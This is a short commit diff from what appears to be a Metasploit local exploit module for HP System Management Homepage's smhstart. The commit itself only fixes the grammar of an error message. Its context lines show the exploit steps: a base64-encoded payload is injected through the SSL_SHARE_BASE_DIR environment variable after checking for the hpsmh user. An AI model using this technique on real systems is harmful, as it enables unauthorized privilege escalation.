english :) "must be"
parent
60dfece55c
commit
b947dc71e9
|
@ -84,7 +84,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better
|
||||
id=cmd_exec("id -un")
|
||||
if id!="hpsmh"
|
||||
fail_with(Exploit::Failure::NoAccess, "You are #{id}, you must to be hpsmh to exploit this")
|
||||
fail_with(Exploit::Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")
|
||||
end
|
||||
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")
|
||||
cmd_exec("#{datastore['smhstartDir']}/smhstart")
|
||||
|
|
Loading…
Reference in New Issue